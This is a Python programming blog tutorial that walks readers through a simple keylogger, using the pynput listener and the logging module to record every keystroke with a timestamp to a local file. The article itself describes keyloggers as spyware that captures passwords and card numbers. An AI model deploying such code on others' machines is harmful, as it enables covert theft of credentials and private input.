Create a Keylogger Program using Python

A cartoon boy working on his laptop and a mask man with hoodie spying on his laptop screen. A text "Keylogger in Python" is seen beside.

We usually give inputs to the computer using the keyboard. Well, what if there is something that can record the keystroke given through our keyboard? Whether you type a password or a username, it will record everything. It’s not a fantasy. A Keylogger can do those tasks hiddenly.

A keylogger is a type of spyware that records everything you type on your device, like passwords and credit card numbers. It can be software or even a hardware device attached to your keyboard.

In this tutorial, we will learn how to create a Keylogger Program using Python programming language. We will use the ‘pynput’ library and ‘logging’ to build our keylogger program.

The topic of this tutorial shows the diversity of Python programming language and its features. The article is made for educational purposes and doesn’t promote or encourage any unethical intent.

The Author (Subhankar Rakshit)

Requirements

Make sure Python is installed on your system. You can download it from their official website (https://www.python.org/). Once settled, install pynput library using the following command:

pip install pynput

Start Writing Your Program

Let’s create a Python program file named “keylogger.py” and start writing your code.

Import necessary modules

from pynput.keyboard import Key, Listener
import logging

Set up logging

directory = "Enter the directory path: "
logging.basicConfig(filename=(directory + "log_details.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

Here, the logging.basicConfig() function is used to configure logging. It sets the file name and path for the log file, the log level to ‘DEBUG‘ (which means all levels will be logged), and the format of the log message including the timestamp.

Define a function to handle key presses

def listener(key):
    logging.info(str(key))

This function listener is called whenever a key is pressed. It logs the pressed key using the logging.info() function.

Set up a listener to monitor key presses

with Listener(on_press=listener) as ls:
    ls.join()

This creates an Listener object from ‘pynput.keyboard‘ module, and it takes the listener function as an argument. The ‘with‘ statement is used to automatically start and stop the listener. Inside the ‘with‘ block, ‘ls.join()‘ is called to wait for the listener to stop.

Please note that this code will continuously run and log key presses until it is stopped manually.

For more Cool Python Programs, visit our separate page packed with unique ideas.

Share your love
Subhankar Rakshit
Subhankar Rakshit

Hey there! I’m Subhankar Rakshit, the brains behind PySeek. I’m a Post Graduate in Computer Science. PySeek is where I channel my love for Python programming and share it with the world through engaging and informative blogs.

Articles: 147

Leave a Reply

Your email address will not be published. Required fields are marked *